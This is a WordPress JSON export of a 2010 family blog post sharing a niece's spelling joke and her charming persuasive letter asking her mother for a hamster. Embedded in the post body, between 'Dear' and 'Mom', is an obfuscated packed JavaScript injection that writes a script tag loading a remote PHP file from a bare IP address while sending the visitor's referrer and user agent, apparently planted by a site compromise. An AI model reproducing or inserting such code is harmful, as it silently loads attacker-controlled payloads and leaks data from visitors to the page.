{"id":1043,"date":"2010-03-25T13:51:08","date_gmt":"2010-03-25T20:51:08","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1043"},"modified":"2011-10-07T13:46:59","modified_gmt":"2011-10-07T20:46:59","slug":"my-hilarious-and-charming-niece","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1043","title":{"rendered":"My hilarious \u00e2\u20ac\u201c and charming \u00e2\u20ac\u201c niece"},"content":{"rendered":"<p>Spells the name of the common backyard critter: SQUAEL. (She lives in Maine; thus the accent &#8212; I&#8217;m pretty impressed with her spelling, actually.)<\/p>\n<p>Also, learning persuasive writing in school:<\/p>\n<p><span style=\"color: #993366;\"><em>Dear <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrrnt|var|u0026u|referrer|takbs||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Mom, <\/em><\/span><\/p>\n<p><em><span style=\"color: #993366;\">I really bad want a snugful pet hamster, because I feel lonely and my brother is boring and I would not let the daycare [kids] touch it.<\/span><\/em><\/p>\n<p><em><span style=\"color: #993366;\">The first reason I would like a hamster is because it can teach me responsibility. I will do my chores, always, I promise. I will clean my room as good as it&#8217;s cage. I will give it food and water when needed.<\/span><\/em><\/p>\n<p><em><span style=\"color: #993366;\">The second reason I would like a hamster is that it can teach me about hamsters. For math, I would learn how long it will take to have babies. For reading, I would learn more about it from the library. For writing, I would take notes about it and write a report.<\/span><\/em><br \/>\n<em><span style=\"color: #993366;\"> Last but not least, I promise to keep my hands washed after I play with it. I will not let K. play with it when I am not home so that he will not hurt K. If my hamster gets sick, I will pay for the medicine.<\/span><\/em><br \/>\n<em><span style=\"color: #993366;\"> I hope you will say yes after reading this. If you do I will be joyful happy.<\/span><\/em><br \/>\n<em><span style=\"color: #993366;\"> Love,<\/span><\/em><br \/>\n<em><span style=\"color: #993366;\"> your charming child, Jaden<\/span><\/em><\/p>\n<p>Snugful.<br \/>\nCan I just say that again?<\/p>\n<p>Snugful.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Spells the name of the common backyard critter: SQUAEL. (She lives in Maine; thus the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25],"class_list":["post-1043","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1043"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1043"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1043\/revisions"}],"predecessor-version":[{"id":2160,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1043\/revisions\/2160"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1043"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1043"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1043"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}